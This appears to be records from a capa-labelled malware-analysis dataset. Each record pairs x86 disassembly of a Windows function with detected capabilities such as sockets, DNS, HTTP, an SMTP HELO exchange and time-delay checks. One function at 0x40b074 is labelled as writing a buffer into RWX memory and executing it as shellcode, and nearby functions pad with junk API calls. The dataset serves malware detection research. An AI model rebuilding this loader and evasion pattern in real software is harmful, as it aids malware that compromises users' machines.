joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4dc6f0
Capabilities:
Get number of processors

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x51f9d0
push eax
mov dword fs:[0], esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, dword [esp + 0x30]
mov esi, ecx
mov eax, dword [edi]
mov ecx, dword [eax - 8]
test ecx, ecx
je 0x4dc897
mov ecx, dword [0x7823e0]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x28], 0
mov dword [esp + 0x30], ecx
mov ecx, dword [eax - 8]
mov bl, 1
test ecx, ecx
mov byte [esp + 0x28], bl
jle 0x4dc7ec
lea eax, [esp + 0x10]
lea ecx, [esp + 0x14]
push eax
push edi
push ecx
mov ecx, esi
call fcn.004db410
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x2c], 2
call fcn.0050b40d
lea ecx, [esp + 0x14]
mov byte [esp + 0x28], bl
call fcn.0050b2d4
push ecx
mov ecx, esp
mov dword [esp + 0x20], esp
push 0x77fe6c
call fcn.0050b342
lea edx, [esp + 0x14]
push 0x3d
push edx
lea eax, [esp + 0x24]
push edi
push eax
mov ecx, esi
call fcn.004db7d0
push eax
lea ecx, [esp + 0x34]
mov byte [esp + 0x2c], 3
call fcn.0050b40d
lea ecx, [esp + 0x18]
mov byte [esp + 0x28], bl
call fcn.0050b2d4
lea ecx, [esp + 0xc]
call fcn.0050b7e8
mov ecx, dword [esp + 0xc]
push 0x7808ac
push ecx
call fcn.004f92c4
add esp, 8
test eax, eax
je 0x4dc814
mov edx, dword [edi]
mov ecx, dword [esp + 0x10]
mov eax, dword [edx - 8]
cmp ecx, eax
jl 0x4dc74d
mov esi, dword [esp + 0x34]
lea ecx, [esp + 0x30]
mov byte [esp + 0x28], 0
call fcn.0050b2d4
lea ecx, [esp + 0xc]
mov dword [esp + 0x28], 0xffffffff
call fcn.0050b2d4
jmp 0x4dc89b
lea eax, [esp + 0x30]
mov ecx, esi
push eax
call fcn.004dc490
test eax, eax
push 0
je 0x4dc87f
lea ecx, [esp + 0x34]
push 0x64
push ecx
mov ecx, esi
call fcn.004dab30
mov ecx, dword [esp + 0x3c]
test ecx, ecx
je 0x4dc865
cmp eax, 0x64
jg 0x4dc853
mov edx, dword [esp + 0x38]
push eax
push 0x64
push edx
call dword [sym.imp.KERNEL32.DLL_MulDiv]
mov esi, eax
jmp 0x4dc7f0
push 0x64
push eax
mov eax, dword [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.DLL_MulDiv]
mov esi, eax
jmp 0x4dc7f0
cmp eax, 0x64
jge 0x4dc7ec
mov ecx, dword [esp + 0x34]
push 0x64
push eax
push ecx
call dword [sym.imp.KERNEL32.DLL_MulDiv]
mov esi, eax
jmp 0x4dc7f0
mov edx, dword [esp + 0x3c]
lea eax, [esp + 0x34]
push edx
push eax
mov ecx, esi
call fcn.004dab30
mov esi, eax
jmp 0x4dc7f0
mov esi, dword [esp + 0x34]
mov eax, dword [esp + 0x38]
cmp esi, eax
jl 0x4dc8a5
mov eax, esi
mov ecx, dword [esp + 0x20]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
add esp, 0x20
ret 0x10
Function at 0x4e3cd0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0xa0
push ebx
push ebp
mov ebp, dword [esp + 0xac]
push esi
push edi
push ebp
call sub.RASAPI32.dll_RasHangUpA
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, 0x28
xor eax, eax
lea edi, [esp + 0x10]
rep stosd dword es:[edi], eax
mov dword [esp + 0x10], 0xa0
call esi
mov edi, eax
call esi
sub eax, edi
cmp eax, 0xbb8
jae 0x4e3d36
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [esp + 0x10]
push eax
push ebp
call sub.RASAPI32.dll_RasGetConnectStatusA
cmp eax, 6
je 0x4e3d36
push 0
call ebx
call esi
sub eax, edi
cmp eax, 0xbb8
jb 0x4e3d17
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xa0
ret

Function at 0x4e45b0
Capabilities:
Create http request

Disassembly:
push esi
mov esi, ecx
cmp dword [esi], 0
jne 0x4e45e8
mov edx, dword [esi + 4]
xor eax, eax
push 0
push 0
mov ecx, dword [edx - 8]
test ecx, ecx
setne al
mov ecx, eax
neg ecx
sbb ecx, ecx
and ecx, edx
neg eax
sbb eax, eax
push ecx
and eax, 2
inc eax
push eax
push str.Mozilla_4.0__compatible__MSIE_6.0__Windows_NT_5.0_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [esi], eax
mov ecx, dword [esi]
xor eax, eax
test ecx, ecx
setne al
pop esi
ret
Function at 0x4e5200
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.004e5350
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x4e5220
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x4e5201
Capabilities:
Create tcp socket
Create udp socket
Set socket configuration

Disassembly:
push ecx
push esi
mov esi, ecx
call fcn.004e5350
push 0
push 1
push 2
call sub.WS2_32.dll_socket
mov dword [esi], eax
cmp eax, 0xffffffff
pop esi
jne 0x4e5220
xor eax, eax
pop ecx
ret
lea ecx, [esp]
push 4
push ecx
push 0x1001
push 0xffff
push eax
mov dword [esp + 0x14], 0
call sub.WS2_32.dll_setsockopt
mov eax, 1
pop ecx
ret

Function at 0x4e5250
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x10
xor eax, eax
push esi
push edi
mov dword [esp + 8], eax
mov edi, ecx
mov dword [esp + 0xc], eax
mov ecx, dword [esp + 0x20]
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call sub.WS2_32.dll_htons
mov esi, dword [esp + 0x1c]
mov word [esp + 0xa], ax
push esi
call sub.WS2_32.dll_inet_addr
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x4e52a7
push esi
call sub.WS2_32.dll_gethostbyname
test eax, eax
je 0x4e52bd
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov ecx, dword [eax]
mov dword [esp + 0xc], ecx
lea edx, [esp + 8]
push 0x10
push edx
mov ecx, edi
call fcn.004e52e0
pop edi
pop esi
add esp, 0x10
ret 8
push 0x2726
call sub.WS2_32.dll_WSASetLastError
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret 8

Function at 0x4e52e0
Capabilities:
Connect socket

Disassembly:
mov eax, dword [esp + 8]
mov edx, dword [esp + 4]
push eax
mov eax, dword [ecx]
push edx
push eax
call sub.WS2_32.dll_connect
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
ret 8

Function at 0x4e5370
Capabilities:
Get socket status

Disassembly:
sub esp, 0x10c
mov eax, dword [ecx]
lea ecx, [esp]
push ecx
push 0
lea edx, [esp + 0x10]
push 0
push edx
push 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 1
call sub.WS2_32.dll_select
cmp eax, 0xffffffff
jne 0x4e53b9
xor eax, eax
add esp, 0x10c
ret 4
mov edx, dword [esp + 0x110]
xor ecx, ecx
test eax, eax
setne cl
mov dword [edx], ecx
mov eax, 1
add esp, 0x10c
ret 4
Function at 0x4e5830
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x51fe00
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
lea ecx, [esp + 4]
call fcn.004e53e0
lea eax, [esp + 4]
lea ecx, [esi + 4]
push eax
mov dword [esp + 0x18], 0
call fcn.004e5460
lea ecx, [esp + 4]
push ecx
lea ecx, [esi + 0x14]
call fcn.004e5460
lea ecx, [esi + 0xc]
call fcn.0050b25f
lea ecx, [esi + 0x10]
call fcn.0050b25f
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x1c]
call fcn.004e7c90
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x30]
call fcn.004e7c90
push 0xffffffffffffffff
push 0
lea ecx, [esi + 0x44]
call fcn.004e7c90
lea ecx, [esp + 8]
mov dword [esp + 0x14], 1
call fcn.0050b2d4
lea ecx, [esp + 4]
mov dword [esp + 0x14], 0xffffffff
call fcn.0050b2d4
mov ecx, dword [esp + 0xc]
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x4e64d8
Capabilities:
Get hostname

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x520028
push eax
mov dword fs:[0], esp
sub esp, 0x64
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 4]
test eax, eax
je 0x4e64e8
call fcn.004e6a00
mov edi, dword [esp + 0x7c]
test edi, edi
je 0x4e65cb
cmp byte [edi], 0
je 0x4e65cb
mov eax, dword [esp + 0x8c]
test eax, eax
jg 0x4e650d
mov eax, 0x7d0
mov ecx, esi
mov dword [esi + 8], eax
call fcn.004e5200
test eax, eax
jne 0x4e652d
push 0x7813f4
lea ecx, [esi + 0x38]
call fcn.0050b45d
jmp 0x4e65cb
mov eax, dword [esp + 0x80]
mov ecx, esi
push eax
push edi
call fcn.004e5250
test eax, eax
jne 0x4e655c
mov ecx, esi
call fcn.004e5350
push edi
add esi, 0x38
push 0x7813d0
push esi
call fcn.00508169
add esp, 0xc
jmp 0x4e65cb
push 0xdc
mov ecx, esi
mov dword [esi + 4], 1
call fcn.004e7280
test eax, eax
je 0x4e65c4
lea ecx, [esp + 8]
push 0x64
push ecx
call sub.WS2_32.dll_gethostname
mov eax, dword [esp + 0x88]
mov ecx, dword [esp + 0x84]
lea edx, [esp + 0x8c]
mov dword [esp + 0x8c], 1
push edx
push eax
lea edx, [esp + 0x10]
push ecx
push edx
mov ecx, esi
call fcn.004e66a0
test eax, eax
jne 0x4e65e0
push edi
lea eax, [esi + 0x38]
push 0x7813ac
push eax
call fcn.00508169
add esp, 0xc
mov ecx, esi
call fcn.004e6a00
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x64]
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
mov eax, dword [esp + 0x8c]
test eax, eax
je 0x4e6688
mov ecx, dword [0x7823e0]
mov dword [esp + 0x7c], ecx
lea edx, [esp + 8]
lea eax, [esp + 0x7c]
push edx
push str.HELO__s_r_n
push eax
mov dword [esp + 0x80], 0
call fcn.00508169
mov edx, dword [esp + 0x88]
or ecx, 0xffffffff
mov edi, edx
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push edx
mov ecx, esi
call fcn.004e5300
test eax, eax
jne 0x4e664a
push 0x781390
lea ecx, [esi + 0x38]
call fcn.0050b45d
jmp 0x4e665a
push 0xfa
mov ecx, esi
call fcn.004e7280
test eax, eax
jne 0x4e6677
mov ecx, esi
call fcn.004e6a00
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0050b2d4
jmp 0x4e65cb
lea ecx, [esp + 0x7c]
mov dword [esp + 0x74], 0xffffffff
call fcn.0050b2d4
mov ecx, dword [esp + 0x6c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x70
ret 0x14
Function at 0x4eb038
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5205b9
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
call fcn.004edae0
lea edi, [esi + 0x108]
mov dword [esp + 0x18], 0
mov dword [esp + 0xc], edi
lea ecx, [edi + 0xc]
mov dword [edi], fcn.004e0690
call fcn.00509280
lea ecx, [edi + 0x14]
mov byte [esp + 0x18], 1
call fcn.00509280
lea ecx, [edi + 0x1c]
mov byte [esp + 0x18], 2
call fcn.004ed6b0
lea ecx, [edi + 0x30]
mov byte [esp + 0x18], 3
call fcn.004ed6b0
lea ecx, [edi + 0x50]
mov byte [esp + 0x18], 4
call fcn.00509280
lea ecx, [edi + 0x58]
mov byte [esp + 0x18], 5
call fcn.00509280
lea ecx, [edi + 0x60]
mov byte [esp + 0x18], 6
call fcn.004ed6b0
lea ecx, [edi + 0x74]
mov byte [esp + 0x18], 7
call fcn.004ed6b0
mov dword [edi], 0x75e798
lea ecx, [esi + 0x264]
mov byte [esp + 0x18], 8
call fcn.004edae0
lea ecx, [esi + 0x360]
mov byte [esp + 0x18], 9
call fcn.004edae0
lea ecx, [esi + 0x45c]
mov byte [esp + 0x18], 0xa
call fcn.004edae0
lea ecx, [esi + 0x558]
mov byte [esp + 0x18], 0xb
call fcn.004edae0
lea ecx, [esi + 0x654]
mov byte [esp + 0x18], 0xc
call fcn.004edae0
mov ecx, esi
mov byte [esp + 0x18], 0xd
mov dword [esi], method.CWnd.virtual_0
call fcn.004eb360
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x4eb220
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x5206cb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], method.CWnd.virtual_0
lea ecx, [esi + 0x654]
mov dword [esp + 0x18], 5
call fcn.004edcb0
lea ecx, [esi + 0x558]
mov byte [esp + 0x18], 4
call fcn.004edcb0
lea ecx, [esi + 0x45c]
mov byte [esp + 0x18], 3
call fcn.004edcb0
lea ecx, [esi + 0x360]
mov byte [esp + 0x18], 2
call fcn.004edcb0
lea ecx, [esi + 0x264]
mov byte [esp + 0x18], 1
call fcn.004edcb0
lea edi, [esi + 0x108]
mov dword [esp + 0xc], edi
lea ecx, [edi + 0x74]
mov byte [esp + 0x18], 0xc
mov dword [ecx], 0x75e7a8
call fcn.004ed8b0
lea ecx, [edi + 0x60]
mov byte [esp + 0x18], 0xb
mov dword [ecx], 0x75e7a8
call fcn.004ed8b0
lea ecx, [edi + 0x58]
mov byte [esp + 0x18], 0xa
call fcn.005092a9
lea ecx, [edi + 0x50]
mov byte [esp + 0x18], 9
call fcn.005092a9
lea ecx, [edi + 0x30]
mov byte [esp + 0x18], 8
mov dword [ecx], 0x75e7a8
call fcn.004ed8b0
lea ecx, [edi + 0x1c]
mov byte [esp + 0x18], 7
mov dword [ecx], 0x75e7a8
call fcn.004ed8b0
lea ecx, [edi + 0x14]
mov byte [esp + 0x18], 6
call fcn.005092a9
lea ecx, [edi + 0xc]
mov byte [esp + 0x18], 0
call fcn.005092a9
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.004edcb0
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x50d704
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x50d73c
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0050b77b
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0050b753
jmp 0x50d748
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x50eeff
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x50ef41
call fcn.005157f0
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
cmp eax, edi
je 0x50ef41
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
jne 0x50ef38
xor eax, eax
jmp 0x50ef49
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0050ef4f
pop edi
pop esi
pop ebx
ret 4

Function at 0x515d20
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x515d4e
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x515d6c
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00515c86
jmp 0x515d6c
mov eax, dword [esi + 0x14]
test eax, eax
je 0x515d6c
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00515c86
test edi, edi
mov eax, edi
jne 0x515d56
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x40af95
Capabilities:
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
push esi
shr edx, 3
xor esi, esi
cmp edx, esi
jbe 0x40b06f
push ebx
push edi
mov ebx, ecx
mov dword [ebp - 0xc], edx
cmp dword [0x98f044], 0x319
jne 0x40b057
xor eax, eax
mov word [ebp - 4], ax
lea edi, [ebp - 2]
stosw word es:[edi], ax
mov word [ebp - 8], ax
lea edi, [ebp - 6]
stosw word es:[edi], ax
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 8]
lea eax, [ebp - 0x10]
push dword [ebp - 4]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
call dword [sym.imp.KERNEL32.dll_AddRefActCtx]
push esi
lea eax, [ebp - 0x14]
push eax
push esi
lea eax, [ebp - 0x424]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
push esi
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
lea eax, [ebp - 0x24]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GenerateConsoleCtrlEvent]
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push 0x401430
push 0x401450
call dword [sym.imp.KERNEL32.dll_GetProfileIntA]
mov edx, dword [ebp + 8]
mov ecx, ebx
call fcn.0040a581
add ebx, 8
dec dword [ebp - 0xc]
jne 0x40afb3
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x40b074
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
push esi
push edi
push 0x401474
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401484
push eax
mov dword [0x9273a4], eax
call esi
push 0x401490
push dword [0x9273a4]
mov dword [0x92739c], eax
call esi
push dword [0x98f044]
xor esi, esi
push esi
mov dword [0x908004], eax
call dword [0x92739c]
lea ecx, [ebp - 4]
push ecx
push 0x40
push dword [0x98f044]
mov dword [0x90801c], eax
push eax
call dword [0x908004]
xor edi, edi
cmp edi, 0x85b4
jge 0x40b0f4
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_GetAltTabInfoW]
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
cmp edi, 0x11c825e
jg 0x40b119
inc edi
mov eax, edi
cdq
cmp edx, 0x6d
jl 0x40b0db
jg 0x40b119
cmp eax, 0xd69e5f85
jb 0x40b0db
mov eax, dword [0x4150c4]
mov edx, dword [0x98f044]
mov dword [0x98f048], eax
xor eax, eax
cmp edx, esi
jbe 0x40b150
mov ecx, dword [0x98f048]
mov cl, byte [ecx + eax + 0xb2d3b]
mov edx, dword [0x90801c]
mov byte [edx + eax], cl
mov edx, dword [0x98f044]
inc eax
cmp eax, edx
jb 0x40b12f
mov ecx, dword [0x90801c]
push 0x415008
call fcn.0040af95
push 0x7b
pop ebx
cmp dword [0x98f044], 0x54d
jne 0x40b18e
xor eax, eax
mov dword [ebp - 0x18], esi
lea edi, [ebp - 0x14]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x34]
push eax
push 0x4014a0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
dec ebx
jne 0x40b163
mov eax, dword [0x90801c]
mov dword [0x9273ac], eax
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40b1a2
Capabilities:
Create thread
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x164
cmp dword [0x98f044], 0x598
push ebx
push esi
jne 0x40b21f
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x4014b4
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceA]
xor ebx, ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSize]
lea eax, [ebp - 8]
push eax
push ebx
push 0x4014bc
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0x4014f0
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push ebx
call fcn.0040b6aa
push ebx
push ebx
push ebx
call fcn.0040b488
push ebx
push ebx
call fcn.0040b390
add esp, 0x18
call fcn.0040b346
mov esi, 0xa4808
xor ebx, ebx
cmp dword [0x98f044], 0x57c
jne 0x40b267
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0x30
lea eax, [ebp - 0x44]
push ebx
push eax
mov dword [ebp - 0x48], ebx
call fcn.0040b720
add esp, 0xc
lea eax, [ebp - 0x48]
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
dec esi
jne 0x40b226
mov esi, dword [0x416074]
add esi, 0xb2d3b
mov eax, 0x4181c0
mov dword [0x98f044], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x40b284
sub eax, edx
cmp eax, 0x1515
jne 0x40b2f3
cmp esi, 0x18
jne 0x40b2bf
push ebx
push ebx
push ebx
lea eax, [ebp - 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
call dword [sym.imp.KERNEL32.dll_GetACP]
mov esi, dword [0x98f044]
cmp esi, 0x9e6
jne 0x40b2e3
lea eax, [ebp - 0x15c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 4]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
push ebx
push ebx
call fcn.0040b306
push ebx
call fcn.0040b6aa
add esp, 0xc
call fcn.0040b074
pop esi
xor eax, eax
pop ebx
leave
ret 0x10

Function at 0x40ecb1
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x417820]
jne 0x40ecbb
repz ret
jmp fcn.00411595
Function at 0x410a72
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0040bc83
and dword [ebp - 4], 0
cmp dword [0x98f6a0], 0
mov ebx, eax
jne 0x410b23
push 0x401d04
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x410bd4
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x401cf8
push edi
call esi
test eax, eax
je 0x410bd4
push eax
call fcn.0040bc11
mov dword [esp], 0x401ce8
push edi
mov dword [0x98f6a0], eax
call esi
push eax
call fcn.0040bc11
mov dword [esp], 0x401cd4
push edi
mov dword [0x98f6a4], eax
call esi
push eax
call fcn.0040bc11
mov dword [esp], 0x401cb8
push edi
mov dword [0x98f6a8], eax
call esi
push eax
call fcn.0040bc11
pop ecx
mov dword [0x98f6b0], eax
test eax, eax
je 0x410b23
push 0x401ca0
push edi
call esi
push eax
call fcn.0040bc11
pop ecx
mov dword [0x98f6ac], eax
mov eax, dword [0x98f6ac]
cmp eax, ebx
je 0x410b7b
cmp dword [0x98f6b0], ebx
je 0x410b7b
push eax
call fcn.0040bc8c
push dword [0x98f6b0]
mov esi, eax
call fcn.0040bc8c
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x410b7b
test edi, edi
je 0x410b7b
call esi
test eax, eax
je 0x410b72
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x410b72
test byte [ebp - 0xc], 1
jne 0x410b7b
or dword [ebp + 0x10], 0x200000
jmp 0x410bb4
mov eax, dword [0x98f6a4]
cmp eax, ebx
je 0x410bb4
push eax
call fcn.0040bc8c
pop ecx
test eax, eax
je 0x410bb4
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x410bb4
mov eax, dword [0x98f6a8]
cmp eax, ebx
je 0x410bb4
push eax
call fcn.0040bc8c
pop ecx
test eax, eax
je 0x410bb4
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x98f6a0]
call fcn.0040bc8c
pop ecx
test eax, eax
je 0x410bd4
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x410bd6
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret